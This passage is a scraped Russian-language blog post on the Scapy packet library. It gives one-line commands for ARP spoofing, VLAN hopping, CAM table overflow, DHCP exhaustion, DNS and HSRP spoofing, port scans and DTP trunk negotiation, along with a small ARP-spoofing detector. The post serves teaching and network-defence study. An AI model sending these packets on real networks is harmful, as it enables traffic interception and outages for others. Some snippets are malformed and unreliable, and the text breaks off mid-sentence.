{"id":252687,"date":"2015-03-10T04:42:02","date_gmt":"2015-03-10T00:42:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=252687"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=252687","title":{"rendered":"\u041c\u043e\u0449\u044c Scapy"},"content":{"rendered":"<p>     \t<a href=\"http:\/\/www.secdev.org\/projects\/scapy\/\">Scapy<\/a> \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u043f\u0430\u043a\u0435\u0442\u0430\u043c\u0438. \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0430 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 python, \u0430\u0432\u0442\u043e\u0440 Philippe Biondi. \u041f\u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430\u043c \u043c\u043e\u0436\u043d\u043e <a href=\"http:\/\/habrahabr.ru\/company\/pentestit\/blog\/208786\/\">\u0437\u0434\u0435\u0441\u044c<\/a>. Scapy \u2014 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439, \u043f\u043e\u0438\u0441\u0442\u0438\u043d\u0435 \u043c\u043e\u0449\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u0435\u0442\u044c\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u044e\u0441\u044c \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0442\u044c \u0412\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c scapy \u0432 \u0441\u0432\u043e\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u0435\/\u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445. \u0414\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u043b\u0443\u0447\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f, \u043f\u043e\u043a\u0430\u0437\u0430\u0432 \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0430 scapy. <br \/>  \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u044f \u0432\u043e\u0437\u044c\u043c\u0443 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u0438 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0440\u0435\u0448\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 scapy. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0434\u0435\u0442 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u043e\u0433\u043e \u0438\u043b\u0438 \u0438\u043d\u043e\u0433\u043e \u0432\u0438\u0434\u0430 \u0430\u0442\u0430\u043a.<a name=\"habracut\"><\/a><\/p>\n<h4><a href=\"https:\/\/ru.wikipedia.org\/wiki\/ARP-spoofing\">ARP-spoofing<\/a><\/h4>\n<p>  <\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; sendp(Ether(dst='targetMAC')\/ARP(op='is-at', psrc='gatewayIP', pdst='targetIP', hwsrc='attackerMAC'))<\/code><\/pre>\n<p>\u0421\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0430\u043a\u0435\u0442 \u00ab\u043e\u0442\u0440\u0430\u0432\u0438\u0442\u00bb arp \u043a\u044d\u0448 targetIP. \u041e\u0434\u043d\u0430 \u0438\u0437 \u0441\u0438\u043b\u044c\u043d\u044b\u0445 \u0447\u0435\u0440\u0442 scapy \u2014 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e\u0441\u0442\u044c, \u0442\u043e \u0435\u0441\u0442\u044c \u0412\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c, \u0447\u0442\u043e \u0412\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0440\u0443\u0434\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0437\u0430\u0442\u043e \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443 \u0438 \u0437\u0430\u0449\u0438\u0442\u0438\u0442 \u043e\u0442 \u00ab\u0432\u044b\u0441\u0442\u0440\u0435\u043b\u0430 \u0432 \u043d\u043e\u0433\u0443\u00bb. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0432 \u043d\u0430 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0430\u043a\u0435\u0442, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e ARP-spoofing \u043d\u0435 \u0432\u044b\u043b\u0435\u0447\u0438\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e port security \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e MAC \u0430\u0434\u0440\u0435\u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f, \u0432 \u0442\u0430\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u0441 \u0441\u043f\u0430\u0441\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e arp \u0438\u043d\u0441\u043f\u0435\u043a\u0446\u0438\u044f. \u0425\u043e\u0442\u044f, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c scapy. \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u0432\u0435\u0441\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430 \u043c\u044b \u0437\u0435\u0440\u043a\u0430\u043b\u0438\u0440\u0443\u0435\u043c \u043d\u0430 \u043f\u043e\u0440\u0442, \u0433\u0434\u0435 \u0443 \u043d\u0430\u0441 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0437. \u0412\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u043f\u043e \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0443, \u0435\u0441\u043b\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043d\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b arp \u0437\u0430\u043f\u0440\u043e\u0441, \u0442\u043e \u0438 arp \u043e\u0442\u0432\u0435\u0442\u0430 \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d.<\/p>\n<pre><code class=\"python\">import time from scapy.all import *  arp_table = {} def arp_inspection(pkt):     global arp_table     op = pkt.getlayer(ARP).op     src = pkt.getlayer(Ether).src     if op == 1:          # op is who-has         arp_table[src] = time.time()     if op == 2:          # op is is-at \tdst = pkt.getlayer(Ether).dst         if dst in arp_table:             time_arp_req = arp_table.pop(dst, None)             if int(time.time() - time_arp_req) &gt; 5:                 print &quot;Alert! Attack from %s&quot; % src         else:             print &quot;Alert! Attack from %s&quot; % src  sniff(filter='arp', prn=arp_inspection)<\/code><\/pre>\n<p> \u0421\u043a\u0440\u0438\u043f\u0442 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u043b\u043e\u0436\u0435\u043d\u043d\u0443\u044e \u043b\u043e\u0433\u0438\u043a\u0443 \u0438 \u0442\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043a\u0430\u043a \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u00abcain &#038; abel\u00bb \u043d\u0435 \u0441\u043c\u043e\u0433\u0443\u0442 \u0431\u0435\u0441\u0448\u0443\u043c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 ARP-spoofing. \u041d\u043e \u043c\u044b \u0441 \u0412\u0430\u043c\u0438 \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 arp \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u0435\u0441\u043b\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0443 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 arp \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u0440\u043e\u0441\u044c\u0431\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0438\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0441\u0435\u0431\u0435, \u043e\u043d \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0434\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0435\u043c\u0443 \u0438 \u0437\u0430\u043d\u043e\u0441\u0438\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 ip-mac \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044f \u043a \u0441\u0435\u0431\u0435 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0443. \u0422.\u0435. \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0442\u0430\u043a \u0436\u0435 \u00ab\u043e\u0442\u0440\u0430\u0432\u0438\u0442\u00bb arp \u043a\u044d\u0448.<\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; sendp(Ether(dst='targetMAC')\/ARP(op='who-has', psrc='gatewayIP', pdst='targetIP'))<\/code><\/pre>\n<p> \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0430\u0448 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u0435\u043d. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u044f \u0441\u043e scapy \u0412\u044b \u0438\u0437\u0443\u0447\u0430\u0435\u0442\u0435 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u043d\u043e \u0438 \u0441\u0430\u043c\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u0438\u0445 \u043b\u043e\u0433\u0438\u043a\u0443. <\/p>\n<h4><a href=\"http:\/\/en.wikipedia.org\/wiki\/VLAN_hopping\">VLAN Hooping<\/a><\/h4>\n<p>  <\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; send(Dot1Q(vlan=1)\/Dot1Q(vlan=2)\/IP(dst='targetIP')\/ICMP()<\/code><\/pre>\n<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0434\u043e\u0441\u0442\u043e\u0438\u043d\u0441\u0442\u0432\u043e\u043c scapy, \u0441\u0447\u0438\u0442\u0430\u044e \u2014 \u0433\u0438\u0431\u043a\u043e\u0441\u0442\u044c. \u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c(\u0433\u0438\u0431\u043a\u043e\u0441\u0442\u0438) \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 arp-spoofing \u0432 \u0441\u043e\u0441\u0435\u0434\u043d\u0435\u043c vlan, \u043d\u0430\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u043d\u0430\u0434\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442. <\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; sendp(Ether(dst='clientMAC')\/Dot1Q(vlan=1)\/Dot1Q(vlan=2)\/ARP(op='who-has', psrc='gatewayIP', pdst='clientIP'))<\/code><\/pre>\n<p>\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u0442\u0430\u043a\u043e\u0439 \u00ab\u0444\u0438\u043d\u0442 \u0443\u0448\u0430\u043c\u0438\u00bb \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0435\u0441\u043b\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043d\u0430 vlan \u0431\u0443\u0434\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430. <\/p>\n<h4><a href=\"http:\/\/www.cisco.com\/c\/en\/us\/products\/collateral\/switches\/catalyst-6500-series-switches\/white_paper_c11_603836.html\">CAM Table Overflow<\/a><\/h4>\n<p>  <\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; sendp(Ether(src=RandMAC())\/IP(dst='gatewayIP')\/ICMP(), loop=1)<\/code><\/pre>\n<p>RandMAC() \u2014 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 MAC \u0430\u0434\u0440\u0435\u0441\u0430; \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 loop \u2014 \u0437\u0430\u0446\u0438\u043a\u043b\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443, \u0447\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0438\u0441\u0447\u0435\u0440\u043f\u0430\u043d\u0438\u044e \u0431\u0443\u0444\u0435\u0440\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430. \u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u044d\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0430\u0442\u0430\u043a. <\/p>\n<h4>\u0411\u043e\u043b\u044c\u0448\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432<\/h4>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u044f \u043f\u043e\u043a\u0430\u0436\u0443 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0431\u0435\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f, \u043e\u043d\u0438 \u043f\u0440\u043e\u0441\u0442\u044b \u0438, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043f\u043e\u0441\u043b\u0443\u0436\u0430\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f scapy \u0432 \u0412\u0430\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0441\u0447\u0435\u0440\u043f\u0430\u043d\u0438\u0435 DHCP \u043f\u0443\u043b\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c.  <\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; sendp(Ether(src=RandMAC(),dst='ff:ff:ff:ff:ff:ff')\/IP(src='0.0.0.0',dst='255.255.255.255')\/UDP(sport=68,dport=67)\/BOOTP(chaddr=RandMAC())\/DHCP(options=[(&quot;message-type&quot;,&quot;discover&quot;),&quot;end&quot;]), loop=1)<\/code><\/pre>\n<p>  <a href=\"http:\/\/en.wikipedia.org\/wiki\/DNS_spoofing\">DNS-spoofing<\/a> \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u0430\u043a.  <\/p>\n<pre><code class=\"python\">send(IP(dst='dnsserverIP'\/UDP(dport=53)\/DNS(qd=DNSQR(qname=&quot;google.com&quot;)))<\/code><\/pre>\n<p>  HSRP spoofing  <\/p>\n<pre><code class=\"python\">sendp(Ether(src=\u201900:00:0C:07:AC:02\u2019, dst=\u201901:00:5E:00:00:02\u2019 )\/IP(dst=\u2019224.0.0.2\u2019, src='attacerIP', ttl=1)\/UDP()\/HSRP(priority=230, virtualIP='virtualIP'), inter=3, loop=1) <\/code><\/pre>\n<p> src mac \u2013 HSRP virtual MAC (\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d 00:00:0C:9F:F0:00 \u2014 00:00:0C:9F:FF:FF); dst mac \u2013 IP v4 multicast MAC (\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d 01:00:5E:00:00:00 \u2014 01:00:5E:00:00:FF); ip dst \u2013 ipv4 multicast address (224.0.0.0\/24); priority \u2013 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043e\u0442 0 \u0434\u043e 255; inter=3 \u2014 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u043e\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0430 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438 cisco; \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f cisco. \u0422\u0430\u043a\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u0441\u0434\u0435\u043b\u0430\u0435\u0442 attacerIP \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c HSRP \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u043c.<br \/>  \u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0440\u0442\u043e\u0432.  <\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; res = sr1(IP(dst='targetIP')\/TCP(dport=443, flags=&quot;S&quot;)) # SYN &gt;&gt;&gt; res = sr1(IP(dst='targetIP')\/TCP(dport=443, flags=&quot;A&quot;)) # ACK &gt;&gt;&gt; res = sr1(IP(dst='targetIP')\/TCP(dport=443, flags=&quot;FPU&quot;)) # Xmas<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043c\u043e\u0436\u043d\u043e \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c.  <\/p>\n<pre><code class=\"python\">if res.getlayer(TCP).flags == 0x12:     print &quot;Open&quot; elif res.getlayer(TCP).flags == 0x14:     print &quot;Close&quot;<\/code><\/pre>\n<p>\u0418\u043b\u0438 \u0442\u0430\u043a.  <\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; res, unres = sr(IP(dst='targetIP')\/TCP(dport=[443, 80, 22], flags=&quot;S&quot;)) &gt;&gt;&gt; res.summary(lambda(s,r): r.sprintf(&quot;%TCP.sport% \\t %TCP.flags%&quot;) https      RA www        SA ssh        RA <\/code><\/pre>\n<p>  \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c scapy \u2014 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e.\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b DTP \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0448\u0442\u0430\u0442\u043d\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430, \u0437\u0430\u0442\u043e \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043a\u0430\u043a \u043c\u043e\u0434\u0443\u043b\u044c.<\/p>\n<pre><code class=\"python\">&gt;&gt;&gt; load_contrib('dtp')<\/code><\/pre>\n<p>\u041e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c DTP \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043c\u044b \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u043c \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0440\u0442 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c trunk \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f. \u0415\u0441\u043b\u0438 \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u043c\u043e\u0434\u0443\u043b\u044f, \u0442\u043e \u0443\u0432\u0438\u0434\u0438\u043c \u0442\u0430\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0440\u0435\u0436\u0438\u043c trunk \u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435.<\/p>\n<pre><code class=\"python\">def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):     print &quot;Trying to negotiate a trunk on interface %s&quot; % iface     p = Dot3(src=mymac, dst=&quot;01:00:0c:cc:cc:cc&quot;)\/LLC()\/SNAP()\/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])     sendp(p)<\/code><\/pre>\n<p>\u0412\u043c\u0435\u0441\u0442\u0435 \u0441 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 DTP, \u043c\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e negotiate_trunk, \u043c\u043e\u0436\u0435\u043c \u0435\u0451 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u044f\u043c\u043e \u0438\u0437 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430 \u0438 